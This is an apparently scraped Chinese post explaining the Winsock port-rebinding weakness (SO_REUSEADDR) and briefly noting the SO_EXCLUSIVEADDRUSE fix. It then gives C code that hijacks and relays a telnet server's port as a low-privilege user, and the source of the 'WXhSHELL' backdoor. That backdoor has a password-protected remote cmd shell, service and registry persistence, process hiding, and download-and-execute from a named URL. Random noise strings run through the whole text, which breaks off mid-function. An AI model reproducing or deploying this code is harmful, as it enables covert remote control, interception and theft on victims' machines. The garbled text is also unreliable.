在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$SmmrM s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ydr/ T/1 $M T'ZM saddr.sin_family = AF_INET;
)KLsa`RV: %4Thb\ T saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bqt*d)$ ]O\Oj6C bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&
M wvj :z!N_]t 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4,|A\dXE 9(/ ;Wutj" 这意味着什么?意味着可以进行如下的攻击:
Z $? Ql@M dw
v(8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8,,$C7"EP 9O+><x[i 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7.o:(P1??g R]7-6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
6O>GVJbw fb 8t9sAI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
( IXe555 z|V5/" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
a3<.F&c+c Q6 G-`&5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2h6<'2'o1 @L-3&~= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
O,kzU,zOs 6eqPaIaD #include
9N [PZD #include
R`F54?th #include
HCI|6{k #include
y@kRJ 8d DWORD WINAPI ClientThread(LPVOID lpParam);
V2I"m int main()
9$ z|kwU {
E,[@jxP WORD wVersionRequested;
na&?Cw DWORD ret;
oT4A|M WSADATA wsaData;
fq.ui3lP) BOOL val;
4X@
<PX5 SOCKADDR_IN saddr;
`;ofQz4 SOCKADDR_IN scaddr;
p. eq
N int err;
Y?(kE` R SOCKET s;
3f2%+2Zjt, SOCKET sc;
A?V[/ int caddsize;
ERO'{nT& HANDLE mt;
U9[
&ci DWORD tid;
k|$08EK $ wVersionRequested = MAKEWORD( 2, 2 );
>Q$, } `U; err = WSAStartup( wVersionRequested, &wsaData );
:)UF# if ( err != 0 ) {
TU-4+o%; printf("error!WSAStartup failed!\n");
I]"wT2@T;7 return -1;
bm>,$GW( }
QQso<.d& saddr.sin_family = AF_INET;
v>FsP$p4yE "eq{_4dL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@?$x <6]TazW?S saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^T[8j/9o^ saddr.sin_port = htons(23);
9y(75Bn9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R&cOhUj22J {
37hs/=x printf("error!socket failed!\n");
$r`^8/Mq3 return -1;
JC~L!)f }
IcM99'P( val = TRUE;
L7*,v5 //SO_REUSEADDR选项就是可以实现端口重绑定的
R^PPgE6!$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
gAA2S5th {
-kh O4, printf("error!setsockopt failed!\n");
v+NdO$o return -1;
9Ij=~p]p }
%T hY6y( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]xlV;m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
i NX%Zk[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
h01 HX wo($7'.@
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
N02X*NC {
0j^QY6 ret=GetLastError();
GJ:65)KU printf("error!bind failed!\n");
^tS{a *Yn return -1;
2sj[hI }
I%]~]a listen(s,2);
Q ke8BRBn while(1)
}pJ6CW {
3BuG_ild caddsize = sizeof(scaddr);
)[d?&GK //接受连接请求
gOpi> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2lVJ"jg if(sc!=INVALID_SOCKET)
/;7\HZ$@/ {
'D ,efTq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
3;@/`Z_\lt if(mt==NULL)
'OIOl {
!}Sf?nP# printf("Thread Creat Failed!\n");
>wz&{9ni break;
Gkz\By }
>h^CC*&'pw }
AJ_''%$I3: CloseHandle(mt);
dzIcX*" }
C&\MDOjx closesocket(s);
d"K~+<V} WSACleanup();
Zd~'%(q return 0;
.+|HJ( }
:6k8\{^9"D DWORD WINAPI ClientThread(LPVOID lpParam)
RRW/.y {
<L4.* SOCKET ss = (SOCKET)lpParam;
^I =W< SOCKET sc;
;D}8acQ unsigned char buf[4096];
{MP8B'r-6 SOCKADDR_IN saddr;
< Y5pAStg long num;
^}JGWGib=+ DWORD val;
"gD]K= DWORD ret;
xq`mo //如果是隐藏端口应用的话,可以在此处加一些判断
OF [y$<jM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
MKqMH,O saddr.sin_family = AF_INET;
)Gf"#TM[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ch|4"&g saddr.sin_port = htons(23);
sw<mmayN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0(!j]w"r3 {
K`7(*!HEb printf("error!socket failed!\n");
+#%#QL return -1;
5Lmhip }
%gK@R3p val = 100;
(x;Uy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b.h:~ATgN {
05
P#gs`< ret = GetLastError();
5c(mgEvq return -1;
s(~tL-_ K }
/W vF}y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m=g\@&N {
1(S0hm[ov ret = GetLastError();
N4]Sp v return -1;
%2H0JXKa, }
?8ZOiY( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^^q9+0@ {
#%Z 0! printf("error!socket connect failed!\n");
3X&'hz@ closesocket(sc);
R,]J~TfPK closesocket(ss);
x;Qs_"t];3 return -1;
OV@MT^ }
DrAp&A|WV| while(1)
T;7=05k<_ {
.b.pyVk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`^:>sU //如果是嗅探内容的话,可以再此处进行内容分析和记录
r#8t@W //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vy:-a G num = recv(ss,buf,4096,0);
JQi+y; if(num>0)
C)x>/Qr ~ send(sc,buf,num,0);
47S1mxur else if(num==0)
EC`!&Yp+ break;
7T\LYDT num = recv(sc,buf,4096,0);
gu~JB if(num>0)
{RG4 m{#9 send(ss,buf,num,0);
v'0WE else if(num==0)
9' $\GN{0 break;
QcW6o, }
, %8keGhl closesocket(ss);
c(@(j8@S closesocket(sc);
_wp>AJ r return 0 ;
@ Sq
=q=S }
}PC_qQF ID{62>R 2p^Jqp`$ ==========================================================
z%FBHj fT]hpoJl 下边附上一个代码,,WXhSHELL
|M8FMH[_ ;u:A:Y4V ==========================================================
/$z(BX/ /nPNHO>U #include "stdafx.h"
~__r-z cDkq@H: #include <stdio.h>
A7`+XqG #include <string.h>
2F}D?]A #include <windows.h>
ec8iZ8h8 #include <winsock2.h>
M0jC:*D`" #include <winsvc.h>
=d+~l #include <urlmon.h>
1
N{unS %`]&c)Z #pragma comment (lib, "Ws2_32.lib")
c @U\d<{w #pragma comment (lib, "urlmon.lib")
.eBo:4T!d f9%M:cl #define MAX_USER 100 // 最大客户端连接数
!t;B.[U * #define BUF_SOCK 200 // sock buffer
#<$pl]>}t #define KEY_BUFF 255 // 输入 buffer
+.czj,Sq /8cfdP Ba #define REBOOT 0 // 重启
Z2t'?N|_ #define SHUTDOWN 1 // 关机
5WlBec@ %%-?~rjI #define DEF_PORT 5000 // 监听端口
qsA`\%]H u5'jIqlU #define REG_LEN 16 // 注册表键长度
' ?4\ #define SVC_LEN 80 // NT服务名长度
dmB
_`R KUV(vAY, // 从dll定义API
Wr j<}L| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5bj9S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Zra P\ ? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)yl;i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ln1QY"g M?gc&2Y // wxhshell配置信息
G7qB struct WSCFG {
3D}rxI8N int ws_port; // 监听端口
Ii.?|
u char ws_passstr[REG_LEN]; // 口令
B[$L)y'-; int ws_autoins; // 安装标记, 1=yes 0=no
uo TTHj7cq char ws_regname[REG_LEN]; // 注册表键名
C:9a$ char ws_svcname[REG_LEN]; // 服务名
M#u~]?hS char ws_svcdisp[SVC_LEN]; // 服务显示名
0Tv0:c>8;( char ws_svcdesc[SVC_LEN]; // 服务描述信息
a_T3< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
LBIsj}e int ws_downexe; // 下载执行标记, 1=yes 0=no
^~7/hm: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
j^T
i6F>f char ws_filenam[SVC_LEN]; // 下载后保存的文件名
r%uka5@ %ij,xN };
sZDxTP+ VF bso3q<j // default Wxhshell configuration
n>XfXt = struct WSCFG wscfg={DEF_PORT,
*SmR|Qy "xuhuanlingzhe",
XU*4MU^' 1,
eZ
G#op "Wxhshell",
?qmJJ5Gn "Wxhshell",
w(N$$ "WxhShell Service",
#xoFcjRE "Wrsky Windows CmdShell Service",
1sIPhOIys "Please Input Your Password: ",
8XG|K`'u 1,
Lz/{
q6> "
http://www.wrsky.com/wxhshell.exe",
p Lwtm@ "Wxhshell.exe"
olxnQYFo };
FoW|BGA~ 4(D1/8 // 消息定义模块
"*T4%3dA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
C}=9m
A char *msg_ws_prompt="\n\r? for help\n\r#>";
+HSKFp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(:|rCZC char *msg_ws_ext="\n\rExit.";
/D>G4PP< char *msg_ws_end="\n\rQuit.";
n8.Tag(# char *msg_ws_boot="\n\rReboot...";
K/l*Saj char *msg_ws_poff="\n\rShutdown...";
TN=!;SvQU char *msg_ws_down="\n\rSave to ";
S\S31pYT 6k6}SlN[ char *msg_ws_err="\n\rErr!";
\%czNF char *msg_ws_ok="\n\rOK!";
#zed8I:w T1U8ZEK<iu char ExeFile[MAX_PATH];
|44 E:pA int nUser = 0;
A|`mIma# HANDLE handles[MAX_USER];
6
=H]p1p~O int OsIsNt;
L;i(@tp|v IJk<1T7:(W SERVICE_STATUS serviceStatus;
laQ{nSVBm SERVICE_STATUS_HANDLE hServiceStatusHandle;
C~X"ZW:d[ :>*0./hG // 函数声明
d "%6S*dL int Install(void);
]j+J^g int Uninstall(void);
,382O$C int DownloadFile(char *sURL, SOCKET wsh);
le150;7 int Boot(int flag);
^JY,K void HideProc(void);
pmuT7*<19 int GetOsVer(void);
yt{?+|tXU int Wxhshell(SOCKET wsl);
)1E#'v12" void TalkWithClient(void *cs);
Ca}V5O int CmdShell(SOCKET sock);
l_i&8*=Px int StartFromService(void);
^US ol/ int StartWxhshell(LPSTR lpCmdLine);
>* h3u7t |0nt u+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
c2Yrg@) [ VOID WINAPI NTServiceHandler( DWORD fdwControl );
$)Ty@@7C yfZYGhPN( // 数据结构和表定义
miB+'n"zS SERVICE_TABLE_ENTRY DispatchTable[] =
fo_*Uva_ {
`&jG8lHa {wscfg.ws_svcname, NTServiceMain},
]T; {NULL, NULL}
ly::? };
6=p!`DOd h'"~t#r // 自我安装
^D?{[LBc int Install(void)
62 9g_P) {
-J;;6aA char svExeFile[MAX_PATH];
=Bos>;dl HKEY key;
7{Zs"d{s strcpy(svExeFile,ExeFile);
TlCGP)VSj 5BS !6o;P' // 如果是win9x系统,修改注册表设为自启动
rAZ~R PrW if(!OsIsNt) {
4G'-"u^g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z#GrwE,r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>Q2kXwN RegCloseKey(key);
giHqc7-PaX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"]}?{2i;
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u+m9DNPF RegCloseKey(key);
3XIL; 5 return 0;
Gg y7xb }
5"&=BD~D }
9cQ;h37J> }
'3iJ q9 else {
2.
f8uq cuh Z_l // 如果是NT以上系统,安装为系统服务
}oL
l?L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jE2EoQi, if (schSCManager!=0)
A-l[f\ {
4"s/T0C SC_HANDLE schService = CreateService
ke2}@|?t (
qoSZ+ khS$ schSCManager,
FVWHiwRU, wscfg.ws_svcname,
iZE7
B7K wscfg.ws_svcdisp,
gTk*v0WBm SERVICE_ALL_ACCESS,
/Q2HN(Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
V)c.AX5 SERVICE_AUTO_START,
#F#M<d3-2
SERVICE_ERROR_NORMAL,
:_:o% svExeFile,
"""pe+Y NULL,
XB<Q A>dLh NULL,
oA+'9/UY NULL,
H`nd | NULL,
*})Np0k NULL
>"[Nmx0;w );
N>IkK*v if (schService!=0)
BeFXC5-qat {
sMcN[r CloseServiceHandle(schService);
U
nS|"" CloseServiceHandle(schSCManager);
tja7y"(] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
xTy)qN]P strcat(svExeFile,wscfg.ws_svcname);
`8kL=%(h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W?gelu] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3 (F+\4aRm RegCloseKey(key);
{Z}zT1kA return 0;
<
49\B }
M%2w[<-8c }
iCy$
rC CloseServiceHandle(schSCManager);
gp-rTdN }
}1|FES }
?ajVf./Ja \{54mM~ return 1;
GpCjoNcW{ }
.RPh#FI6J 22Oe~W; // 自我卸载
A5~OHmeK int Uninstall(void)
nTHCb>,vM {
ZOy^TR HKEY key;
G|j8iV O Go
!{T if(!OsIsNt) {
`!C5"i8+i2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PoZxT-U RegDeleteValue(key,wscfg.ws_regname);
.[o`TlG% RegCloseKey(key);
yGC3B00Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$1n\jN RegDeleteValue(key,wscfg.ws_regname);
Hm]\.ZEy RegCloseKey(key);
8aI^vP"7`= return 0;
-Xt0=3, }
DI=?{A }
.50ql[En }
AtP!.p"j else {
YXIAVSnr -o+; e3# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ASa)xf9 if (schSCManager!=0)
vAzSpiv- {
Z`>m SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
AQ)J|i if (schService!=0)
#0c;2}D {
AdWP if(DeleteService(schService)!=0) {
LzD,]{CC5 CloseServiceHandle(schService);
Bh7dAV( CloseServiceHandle(schSCManager);
uHPd!#] return 0;
u2cDSRrqT }
I[P_j`aE CloseServiceHandle(schService);
$ZRvvm!f }
V L;<+C~ CloseServiceHandle(schSCManager);
%18%T{|$e }
Z<`:xFy( }
v_,'NA0 ._6e#=
return 1;
7%5EBH & }
HAAU2A9B2 Wo~;h(6 // 从指定url下载文件
U4h5K}j4 int DownloadFile(char *sURL, SOCKET wsh)
%(>,eee_ {
z)%]#QO HRESULT hr;
;+rcT;_^/ char seps[]= "/";
"ed
A char *token;
'1b4nj|<m char *file;
okH*2F(- char myURL[MAX_PATH];
VJgYXPE
` char myFILE[MAX_PATH];
Rg 5kFeS #pk strcpy(myURL,sURL);
@k\npFKQm token=strtok(myURL,seps);
ageTv/ while(token!=NULL)
r tH
#j {
^AC2 zC file=token;
,YF1*69 token=strtok(NULL,seps);
KdC'#$ }
cg^=F_h 3+H[S#e:Z GetCurrentDirectory(MAX_PATH,myFILE);
@j=rSS strcat(myFILE, "\\");
/.Jq]" strcat(myFILE, file);
j>#ywh*A send(wsh,myFILE,strlen(myFILE),0);
9S8V`aC send(wsh,"...",3,0);
TnJNs hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
C;']FmK] if(hr==S_OK)
VTK +aI return 0;
FMz>p1s|dK else
'EG/)0t` return 1;
#1Iev7w c N~F32< }
FLLfTkXdI 0D&-BAzi // 系统电源模块
hSG1f` int Boot(int flag)
+Os9}uKf {
t<MO~_`! HANDLE hToken;
bCV_jR+ TOKEN_PRIVILEGES tkp;
bOD]`*q hZ-?-F?*@ if(OsIsNt) {
#^xj"}o@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~$m:j]; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
l{hO"fzy tkp.PrivilegeCount = 1;
ISg-?h/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'LC0hoV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
kn}bb*eZ if(flag==REBOOT) {
f s2}a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
NV`=T?1[5 return 0;
\2 M{R }
N$M:&m3^ else {
nT=XWM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
rtz ]PH return 0;
8@7leAq! }
83_vo0@<6 }
C9n*?Mk: else {
TsY
nsLQY if(flag==REBOOT) {
EOo,olklC if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
oT"7O5v return 0;
DUb8 HgcV} }
z4JhLef % else {
op61-:q/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
cq}i)y return 0;
cRP!O|I`] }
ow*^z78M{ }
Qb' Q4@. +.McC$!s
return 1;
-lb%X3` }
C#P7@ JE 4tz@?TCb // win9x进程隐藏模块
t""d^a#Dp void HideProc(void)
yQ| V7G {
E51S#T yHn8t]{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
I$*LMzve if ( hKernel != NULL )
G!7A]s>C {
petq6)g? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
=h[;'v{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:"`1}Q FreeLibrary(hKernel);
V lS`m,:{ }
e(vnnv?R{ fk\hrVP return;
{VKP&{~O }
ksF4m_E>YB rAS2qt // 获取操作系统版本
Vn?|\3KY int GetOsVer(void)
cQ(,M {
.cB>ab& OSVERSIONINFO winfo;
S%o6cl = winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
scZ&}Ni GetVersionEx(&winfo);
3 ]w a8| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
fK+[r1^ return 1;
rS_pv=0S else
CmdPa!4) return 0;
';I(#J6 }
CIAKXYM 'W/AYF^5 // 客户端句柄模块
+ {WZpP},v int Wxhshell(SOCKET wsl)
jm,:jkr {
:b<< SOCKET wsh;
0iVeM!bM struct sockaddr_in client;
}[]1`2qD DWORD myID;
U,Th-oU sn8r`59C while(nUser<MAX_USER)
C5=m~ {
[S?`OF12 int nSize=sizeof(client);
Og?P5&C"9D wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fnK H< if(wsh==INVALID_SOCKET) return 1;
wN:vI(C "MgTfUIiyD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!qTP if(handles[nUser]==0)
)npvy>C'( closesocket(wsh);
UDV6 ##$ else
fcw/l,k9 nUser++;
'3TfW61] }
51`*VR]`K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
M7//*Q'? p?sFX$S return 0;
@[~j|YH} }
>[4CQK`U nk2H^RM^ // 关闭 socket
RU\MT'E>( void CloseIt(SOCKET wsh)
?J6\?ct4 {
Qk].^'\ closesocket(wsh);
rDC=rG nUser--;
o(g}eP,g} ExitThread(0);
=/(R_BFna }
wSG!.Ejc7 LNM#\fb // 客户端请求句柄
+d=8 /3O% void TalkWithClient(void *cs)
Y
9@
2d {
9''x'E=| Os1=V SOCKET wsh=(SOCKET)cs;
%QQJSake| char pwd[SVC_LEN];
Z%QU5. char cmd[KEY_BUFF];
\hZye20 char chr[1];
E|x t\* int i,j;
)No> Q :t 7|X.E while (nUser < MAX_USER) {
x,#? -S
0dr8E if(wscfg.ws_passstr) {
z W*Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,b74m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YeB)]$'?u` //ZeroMemory(pwd,KEY_BUFF);
,9~qLQ0O i=0;
8!qzG4F/ while(i<SVC_LEN) {
!uAqY\Is nI,-ftMD-| // 设置超时
XF`?5G~~# fd_set FdRead;
>!%+) struct timeval TimeOut;
<+AvbqDe FD_ZERO(&FdRead);
Wn5xX5H C FD_SET(wsh,&FdRead);
2xt$w% TimeOut.tv_sec=8;
=A<a9@N}N TimeOut.tv_usec=0;
kD#hfYs)i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4Vv$bbu+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
T:S[[#f{5 g.COKA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
b21@iW pwd
=chr[0]; iV.j!H7o
if(chr[0]==0xd || chr[0]==0xa) { 'J_6SD
pwd=0; :F
pt>g
break; [wM]w
} +%)bd
i++; >44,Dp]
} 8WLBq-]G
3W55m@w
// 如果是非法用户,关闭 socket 8 G:f[\^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O{wt0 \P
} /N=M9i\;
MmD1@fW32#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rl:D>t(:.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @@#(<[S\B
A (ZtA[G
while(1) { )KUEkslR:
6kdcFcV-]
ZeroMemory(cmd,KEY_BUFF); 7loIjT7
m&+V@H
// 自动支持客户端 telnet标准 n*A"}i`ix
j=0; rWN%Tai-
while(j<KEY_BUFF) { }PxPJ$o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HD;l1W)
cmd[j]=chr[0]; %VwkYAgA
if(chr[0]==0xa || chr[0]==0xd) { 6:AZZF1
cmd[j]=0; s@pIcNvx
break; |J&=h|-A
} <4jqF 4
W
j++; W|V9:A
} h]p$r`i7
}cERCS\t
// 下载文件 Z^%aXaf8
if(strstr(cmd,"http://")) { ]ujXPK=t
send(wsh,msg_ws_down,strlen(msg_ws_down),0); NJPp6RZ%
if(DownloadFile(cmd,wsh)) P/T`q:<H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3/EJ^C
else SVqKG+{My
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eOs 4c`
} }/}eZCaG
else { y:,m(P
u'qc=5
switch(cmd[0]) { jl,>0MA
mLH,6rO9
// 帮助 KfV&7yi
case '?': { E\*M4n\!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I4MZJAYk
break; !'8jy_<9
} Z>J3DH
// 安装 8eD/9PD=F
case 'i': { 1|oE3
if(Install()) -k,?cEjCs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e+Sq&H!@
else p%- m"u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h?-M+Ac
break; ivJTE
} VMJK9|JC[
// 卸载 ~A,(D-
case 'r': { GLa_[9 "
if(Uninstall()) KKM!($A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +p0Y*.
else W>J1JaO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); osI0m7ws:
break; QHw{@*
} bipA{VU
// 显示 wxhshell 所在路径 ? io,8
case 'p': { ![/ QW
char svExeFile[MAX_PATH]; QA#
7T3|
strcpy(svExeFile,"\n\r"); u^+
(5|
strcat(svExeFile,ExeFile); ]RTK:%
send(wsh,svExeFile,strlen(svExeFile),0); T,5(JP(h3
break; NU.YL1
} o;'-^ LJ
// 重启 z i3gE$7
case 'b': { oE$zOS&2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :}[D;cx
if(Boot(REBOOT)) 9 N9Q#o$!.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F{F SmUxzK
else { JwcC9
O
closesocket(wsh); RgLk AHA
ExitThread(0); Zl{DqC^
} apv"s+
break; E
rnGX#@v
} PAs.T4Av^
// 关机 R6qC0@*
case 'd': { BaOPtBYA:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1JF>0ijU@
if(Boot(SHUTDOWN)) s
Vg89I&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SaiYdJ
else { s^ K:cz
closesocket(wsh); J9XV:)Yv#
ExitThread(0); mZ4I}_\,
} yvV]|B@sO
break; 1L<X+,]@
} G33'Cgo:,
// 获取shell !E_RD,_
case 's': { MFsW
CmdShell(wsh); %e1`wMa
closesocket(wsh); ;N!W|G
ExitThread(0); Rmh u"N/q
break; <k7q9"\4
} LGPg\g`
// 退出 HOlMj!.
case 'x': { 4nGr?%>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zH1ChgF=}
CloseIt(wsh); sH\ h{^
break; d6{0[T^L
} y\}<N6
// 离开 l#;o^H i
case 'q': { @rxfOc0J#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); r9$7P?zm
closesocket(wsh); 1zc-$B`t
WSACleanup(); .:2=VLuj U
exit(1); JbW!V Y
break; .$s=E8fW
} 6x"|,,&MD0
} $jL+15^N0+
} Tg/rV5@ka
07A2@dx
// 提示信息 l5,}yTUta
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bb"x^DtT
} ,[)f-FmcU
} uqK[p^{
[C( >e0r
return; JU RJN+)z
} 19;F+%no#
t$5)6zG
// shell模块句柄 D8wZC'7
int CmdShell(SOCKET sock) I>45xVA
{ LKI2R_|n
STARTUPINFO si; aXyg`CDv
ZeroMemory(&si,sizeof(si)); 5'"l0EuD
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :y(HOUB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i T&Y9
PROCESS_INFORMATION ProcessInfo; P>;u S
char cmdline[]="cmd"; 4dUr8]BkG
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J5*( PxDF
return 0; Xsv^GmP+
} =Ye I,KbA)
`#>JRQ=
// 自身启动模式 aOTrng
int StartFromService(void) $Qq5Fx9kU
{ \C;F5AO
typedef struct -'Y@yIb
{ J)a^3>
DWORD ExitStatus; /_CSRi&
DWORD PebBaseAddress; 7s.vJdA]6
DWORD AffinityMask; A_<1}8{L
DWORD BasePriority; Q^\f,E\S
ULONG UniqueProcessId; Pqb])-M9p
ULONG InheritedFromUniqueProcessId; ]>k>Z#8E*
} PROCESS_BASIC_INFORMATION; 7="I;
